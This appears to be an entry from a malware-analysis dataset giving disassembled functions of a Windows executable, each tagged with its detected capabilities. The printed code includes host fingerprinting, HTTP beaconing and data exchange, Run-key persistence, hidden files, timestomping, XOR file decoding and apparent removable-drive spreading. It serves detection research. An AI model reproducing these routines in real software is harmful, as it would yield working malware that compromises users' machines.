joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401450
Capabilities:
Get hostname
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, 0x100
push ebx
sub esp, 0xd3c
lea ebx, [ebp - 0xd1c]
call fcn.004029e0
mov dword [ebp - 0xd1c], esi
mov edi, eax
lea eax, [ebp - 0x518]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
sub esp, 8
mov dword [esp], 0x40905c
call sub.msvcrt.dll_getenv
mov dword [ebp - 0xd20], eax
mov dword [esp], str.PROCESSOR_ARCHITECTURE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0xd24], eax
mov dword [esp], str.NUMBER_OF_PROCESSORS
call sub.msvcrt.dll_getenv
mov dword [esp], str.USERDOMAIN
mov esi, eax
call sub.msvcrt.dll_getenv
mov dword [esp], str.USERNAME
mov ebx, eax
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, dword [ebp - 0xd20]
mov eax, str._s__s___s__s___s__processor_s_
mov dword [esp + 0xc], ebx
mov edx, dword [ebp - 0xd24]
lea ebx, [ebp - 0xd18]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], esi
lea esi, [ebp - 0x518]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x18], ebx
mov ebx, 0x60000000
mov ecx, 0x40106666
mov dword [esp + 0xc], ebx
mov edx, str.ftsri.php_reg
lea ebx, [ebp - 0x418]
mov dword [esp + 0x14], esi
mov eax, str._sver_fcomp_saddinfo_s
mov dword [esp + 0x10], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
jmp 0x40155f
mov dword [esp], 0xea60
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 4], ebx
xor ecx, ecx
mov edx, 1
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp], edi
call fcn.00402260
test al, al
je 0x401550
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401c50
Capabilities:
Check if file exists
Create process on windows
Get disk information

Disassembly:
push ebp
mov ecx, 0x100
mov ebp, esp
push esi
lea esi, [ebp - 0x108]
push ebx
sub esp, 0x220
lea ebx, [ebp - 0x208]
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
movsx edx, byte [ebp - 0x108]
sub esp, 0xc
mov eax, str._c:_
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
je 0x401cb6
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov ecx, esi
nop
lea esi, [esi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x401cc0
and edx, 0x8080
jne 0x401ce6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp ecx, 3
jbe 0x401caf
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x401d00
and edx, 0x8080
jne 0x401d26
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
xor edx, edx
mov byte [ecx + ebp - 0x10c], dl
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x401caf
mov dword [esp + 0xc], esi
mov eax, 1
mov ecx, str.explorer
mov dword [esp + 0x14], eax
xor ebx, ebx
mov esi, 0x40915e
mov dword [esp + 0x10], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
jmp 0x401caf
Function at 0x401d90
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete file
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x52c
call fcn.00402690
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x401eb0
mov dword [esp], ebx
call sub.KERNEL32.dll_SetCurrentDirectoryA
sub esp, 4
lea edi, [ebp - 0x118]
call fcn.00402780
mov dword [esp + 4], edi
mov ecx, 0x100
mov esi, eax
mov dword [esp + 8], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x401f40
mov dword [esp + 4], esi
xor eax, eax
mov ebx, str.HKCU
mov dword [esp + 8], eax
mov dword [esp], edi
call fcn.00402a20
mov dword [esp], esi
mov ecx, 6
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], esi
call fcn.00402b20
call fcn.00402900
mov dword [esp + 0x10], eax
mov edx, 0x409168
mov eax, str.add__s_s__v__s__t_REG_SZ__d___s___f
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x518]
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 0x14], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
xor ecx, ecx
mov edx, 0x4091bd
mov dword [esp + 0x14], ecx
mov eax, 0x40915e
mov ebx, 0x4091c5
mov dword [esp + 0x10], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401ee0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov esi, 6
call sub.msvcrt.dll__mkdir
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], ebx
call fcn.00402b20
jmp 0x401db7
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x401ea7
mov eax, dword [0x40a020]
test eax, eax
jne 0x401f4d
mov dword [esp + 8], esi
mov ecx, 5
mov edx, 0x4091bd
mov dword [esp + 0x14], ecx
mov ebx, 0x4091c9
mov edi, 0x40915e
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0
call sub.msvcrt.dll_exit
lea esi, [esi]
mov dword [esp], esi
call sub.msvcrt.dll_remove
jmp 0x401dff
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401ef9
Function at 0x401f60
Capabilities:
Check if file exists
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x34c
call fcn.00402840
mov dword [esp], eax
mov edi, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x4020b0
mov dword [esp + 8], edi
mov ecx, str._s
lea esi, [ebp - 0x118]
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
call sub.msvcrt.dll__findfirst
test eax, eax
mov ebx, eax
je 0x4020a8
lea esi, [ebp - 0x224]
jmp 0x401ff1
lea edx, [ebp - 0x338]
mov dword [esp], edx
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp], ebx
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
call sub.msvcrt.dll__findnext
test eax, eax
jne 0x4020a0
mov dword [esp + 0xc], esi
mov ecx, 0x4091cf
lea eax, [ebp - 0x338]
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
mov edx, str..dll
mov dword [esp + 4], edx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401fc6
mov dword [esp], esi
mov eax, str..exe
mov dword [esp + 4], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x401fd7
mov dword [esp], 0
mov edx, 5
mov ecx, 0x4091bd
mov dword [esp + 0x14], edx
mov eax, 0x4091c9
lea edx, [ebp - 0x338]
mov dword [esp + 0x10], ecx
mov ecx, 0x40915e
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll__findnext
test eax, eax
je 0x401ff1
jmp 0x4020a0
mov dword [esp], ebx
call sub.msvcrt.dll__findclose
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], edi
mov ebx, 6
call sub.msvcrt.dll__mkdir
mov dword [esp + 4], ebx
mov dword [esp], edi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call fcn.00402b20
jmp 0x401f87
Function at 0x4020e0
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
xor ebx, ebx
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.00401c50
mov dword [esp + 0xc], ebx
xor edx, edx
mov ecx, 0x402e40
mov dword [esp + 0x14], edx
xor eax, eax
xor edx, edx
mov dword [esp + 8], ecx
xor ebx, ebx
mov dword [esp + 4], edx
mov dword [esp + 0x10], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
call fcn.00401d90
call fcn.00401f60
mov dword [esp + 0x10], ebx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
mov edx, 0x4019c0
xor eax, eax
mov dword [esp + 0xc], ecx
xor ebx, ebx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ebx
mov eax, 0x402d70
xor ebx, ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 4], ebx
mov ebx, 0x401290
mov dword [esp + 8], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ecx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x10], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
call fcn.00401450
mov dword [esp], 0
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
xor ebx, ebx
mov ecx, 0x401660
mov dword [esp + 0xc], ebx
xor edx, edx
mov dword [esp + 0x10], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov ebx, eax
jmp 0x402210
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
cmp byte [0x40a010], 0
je 0x402210
test ebx, ebx
je 0x402210
mov dword [esp], ebx
xor ecx, ecx
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
cmp byte [0x40a010], 0
je 0x402210
jmp 0x402228
Function at 0x402260
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edi
test esi, esi
movzx ebx, byte [ebp + 0x10]
je 0x402280
mov byte [esi], 0
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WININET.DLL_InternetGetConnectedState
sub esp, 8
xor edx, edx
test eax, eax
jne 0x4022b4
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x421], 0
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x10], ecx
xor eax, eax
xor edi, edi
mov dword [esp + 4], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp], str.fortis
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov edi, eax
je 0x402447
xor ecx, ecx
mov eax, 1
mov edx, 3
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x18], ecx
xor ecx, ecx
mov dword [esp + 0x14], edx
mov edx, 0x50
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov eax, dword [ebp + 8]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.WININET.DLL_InternetConnectA
mov dword [ebp - 0x428], eax
sub esp, 0x20
test eax, eax
je 0x40243c
mov eax, 1
mov ecx, 0x400000
xor edx, edx
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x18], ecx
xor ecx, ecx
test bl, bl
mov dword [esp + 0x10], eax
mov eax, str.POST
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
jne 0x402372
mov eax, 0x4091ec
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x428]
mov dword [esp], ebx
call sub.WININET.DLL_HttpOpenRequestA
sub esp, 0x20
test eax, eax
mov ebx, eax
je 0x40242b
mov dword [esp], ebx
xor edx, edx
xor eax, eax
mov dword [esp + 0x10], edx
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.WININET.DLL_HttpSendRequestA
sub esp, 0x14
test eax, eax
je 0x402420
mov byte [ebp - 0x421], 1
jmp 0x402412
mov dword [esp], ebx
lea edx, [ebp - 0x420]
mov eax, 0x3ff
mov dword [esp + 0xc], edx
lea ecx, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
je 0x402420
mov eax, dword [ebp - 0x420]
test eax, eax
je 0x402420
xor edx, edx
lea ecx, [ebp - 0x418]
mov byte [eax + ebp - 0x418], dl
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.msvcrt.dll_strcat
test esi, esi
jne 0x4023c1
lea esi, [esi]
lea edi, [edi]
mov dword [esp], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov esi, dword [ebp - 0x428]
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
movzx edx, byte [ebp - 0x421]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
mov eax, edx
pop ebp
ret
Function at 0x402690
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
xor esi, esi
lea esi, [esi]
mov dword [esp], 0x100
call fcn.00403070
mov ebx, eax
mov eax, dword [edi*4 + 0x40809c]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
mov ecx, dword [esi*4 + 0x408080]
mov edx, str._s_s
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402768
test ebx, ebx
je 0x4026f9
mov dword [esp], ebx
call fcn.00403060
inc esi
cmp esi, 7
jl 0x4026a0
inc edi
cmp edi, 2
jl 0x40269b
mov dword [esp], 0x100
mov ebx, 7
mov edi, 2
call fcn.00403070
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv ebx
mov ebx, edx
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ecx, dword [edx*4 + 0x40809c]
mov dword [esp], ecx
call sub.msvcrt.dll_getenv
mov edi, dword [ebx*4 + 0x408080]
mov ebx, str._s_s
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edi
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402780
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x100
call fcn.00403070
mov ebx, eax
call fcn.00402690
mov edx, dword [esi*4 + 0x408060]
mov dword [esp + 8], eax
mov eax, str._s_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40282c
test ebx, ebx
je 0x4027df
mov dword [esp], ebx
call fcn.00403060
inc esi
cmp esi, 8
jl 0x402790
mov dword [esp], 0x100
call fcn.00403070
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ebx, edx
call fcn.00402690
mov edi, dword [ebx*4 + 0x408060]
mov ecx, str._s_s
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402840
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 7
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x100
call fcn.00403070
mov ebx, eax
call fcn.00402690
mov edx, dword [esi*4 + 0x40801c]
mov dword [esp + 8], eax
mov eax, str._s_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4028ec
test ebx, ebx
je 0x40289f
mov dword [esp], ebx
call fcn.00403060
inc esi
cmp esi, 7
jl 0x402850
mov dword [esp], 0x100
call fcn.00403070
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ebx, edx
call fcn.00402690
mov edi, dword [ebx*4 + 0x40801c]
mov ecx, str._s_s
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402900
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
jmp 0x40291f
inc ebx
cmp ebx, 8
jge 0x4029a0
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x402915
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x408040]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x4029b7
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x40291f
mov esi, esi
lea edi, [edi]
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x408040]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x408040]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402a20
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0xc]
cmp byte [ebp + 0x10], 0
je 0x402a60
mov dword [esp], esi
mov eax, 0x409400
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
je 0x402a60
mov dword [esp], eax
call sub.msvcrt.dll_fclose
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov byte [ebp - 0xe], 0
mov ecx, 0x409402
mov dword [esp + 4], ecx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x402b0c
mov dword [esp], esi
mov edi, 0x409405
mov dword [esp + 4], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x402b04
test byte [ebx + 0xc], 0x10
jne 0x402af8
lea esi, [ebp - 0xd]
mov dword [ebp - 0x14], esi
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 0xc], ebx
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x14]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], edi
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [ebp - 0x14], esi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test byte [ebx + 0xc], 0x10
je 0x402ab0
mov byte [ebp - 0xe], 1
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
movzx eax, byte [ebp - 0xe]
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402b20
Capabilities:
Query environment variable
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [esp], str.SYSTEMROOT
mov dword [ebp - 0xc], ebx
lea ebx, [ebp - 0x1a8]
mov dword [ebp - 8], esi
lea esi, [ebp - 0xa8]
mov dword [ebp - 4], edi
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov edx, str._s_notepad.exe
mov dword [esp], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], esi
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x402bef
mov dword [esp], ebx
xor edi, edi
xor eax, eax
mov dword [esp + 8], edi
lea edi, [ebp - 0x1b0]
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
call sub.KERNEL32.dll_GetFileTime
sub esp, 0x10
mov dword [esp], ebx
mov ebx, 2
call sub.KERNEL32.dll_CloseHandle
mov ecx, dword [ebp + 8]
sub esp, 4
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], ecx
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x402bef
mov dword [esp + 4], edi
xor edx, edx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileTime
sub esp, 0x10
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402c40
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov edx, 0x409402
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x402d62
mov dword [esp], ebx
xor esi, esi
mov edi, 2
mov dword [esp + 8], edi
mov dword [esp + 4], esi
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp], eax
mov edi, eax
call fcn.00403070
mov dword [esp], ebx
xor ecx, ecx
mov esi, eax
mov dword [esp + 4], ecx
xor eax, eax
mov dword [esp + 8], eax
call sub.msvcrt.dll_fseek
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], edi
jge 0x402cf0
test byte [ebx + 0xc], 0x10
jne 0x402cf0
mov dword [esp + 0xc], ebx
mov edx, dword [ebp - 0x10]
mov ecx, 1
mov dword [esp + 8], ecx
mov eax, 1
mov dword [esp + 4], eax
lea ecx, [esi + edx]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x402cb4
lea esi, [esi]
lea edi, [edi]
mov dword [esp], ebx
xor ebx, ebx
call sub.msvcrt.dll_fclose
xor ecx, ecx
jmp 0x402d1c
xor edx, edx
cmp ebx, dword [ebp + 0x14]
setl dl
neg edx
and edx, ebx
mov ebx, dword [ebp + 0x10]
movzx eax, byte [edx + ebx]
lea ebx, [edx + 1]
neg al
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x402d00
mov ecx, dword [ebp + 0xc]
mov edx, 0x409405
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.msvcrt.dll_fopen
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x402d62
mov dword [esp + 8], edi
mov edi, 1
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, 1
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x405290
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4052c6
mov dword [0x40e050], eax
mov edx, 0x405270
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00405960
test eax, eax
sete al
movzx eax, al
mov dword [0x4080d0], eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x4080d0], eax
leave
ret